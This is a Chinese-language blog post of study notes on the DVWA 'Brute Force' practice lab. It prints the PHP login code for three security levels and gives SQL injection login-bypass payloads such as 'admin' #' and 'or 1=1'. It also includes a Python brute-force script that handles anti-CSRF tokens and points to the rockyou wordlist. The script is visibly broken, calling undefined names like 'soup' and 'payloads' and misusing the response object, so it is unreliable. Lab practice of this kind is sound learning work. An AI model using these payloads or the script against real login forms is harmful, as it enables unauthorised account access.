这之后都会是巩固的笔记,把以前留下的坑填一下。
DVWA Brute Force
通过这个靶机来温习下sql注入的一下要点和防御。
low
源码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
mysql_close();
}
?>
没有任何的防御,可以直接爆破,也是可以直接注入的。
这楼里不介绍如何爆破了,bp还是很简单易懂的,主要是这里的注入。
因为没有任何防御,直接构造( $result && mysql_num_rows( $result ) == 1 )
根据这个判断,只要查询结果不为空,而且为一行记录就可以登陆
所以以下构造都是可以的
admin' #
' union select 1,2,3,4,5,6,7,8#
' or 1=1 limit 1,1#
Medium
源码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = mysql_real_escape_string( $user );
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
mysql_close();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
黑盒测试的时候发现单引号是被过滤了,所以常规注入肯定时候不存在的,但是我暴力破解了也还是可以的,没有防御,这里也不记录。
因为存在mysql_real_escape_string()函数,注入的关键符号被过滤了,但是依然要记得要小心宽字节注入。
待补
high
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = mysql_real_escape_string( $user );
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
mysql_close();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
高阶这里为每个页面都加入了不同的token值,确实能防止一定的爆破,但是也是能够通过bp和自写脚本解决,bp爆破可以参考这
#! /usr/bin/env/python
#-*-coding:utf-8-*-
import requests
from lxml import etree
#字典
nameFile=['root',]
passFile = [
'administrator',
'admin',
'password',
'passwd',
'123456',
'123'
]
url = """http://localhost/dvwa/vulnerabilities/brute/?username={0}&password={1}&Login=Login&user_token={2}#"""
cookies = { #这里填写自己的cookie值注意是python的字典类型
'security':'high',
'PHPSESSID':'XXXXXXXXXXXXXXXXXXXXX',
'mask':'123'
}
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',
}
def attack(payloads,url):
#先要获得user_token
source = 'http://localhost/dvwa/vulnerabilities/brute/index.php#'
index = 0
web_data = requests.get(source,headers = headers,cookies=cookies)#请求必须带上cookie,因为dvwa需要登陆
web_data_text = web_data.text().decode('utf-8')
user_token = web_data_text.xpath("//input[@name='user_token']/@value")
#从字典枚举
for payload1 in nameFile:
for payload2 in passFile:
target = url.format(payload1,payload2,user_token)
print u'当前请求:'+target
web_data_text = web_data.text().decode('utf-8')
user_token = web_data_text.xpath("//input[@name='user_token']/@value")
feature = soup.find('pre')
try:
if feature.get_text()=='Username and/or password incorrect.':#错误的密码或者用户名就会页面会出现此语句,这也是我们需要检索的
print u'错误'
except:
print u'可能得到结果:'
print 'username:'+payload1+'\n'+'password:'+payload2
exit(u'结束')
if __name__ == '__main__':
attack(payloads,url)
推荐使用弱口令(Parrot的弱口令目录在/usr/share/wordlists/rockyou.txt)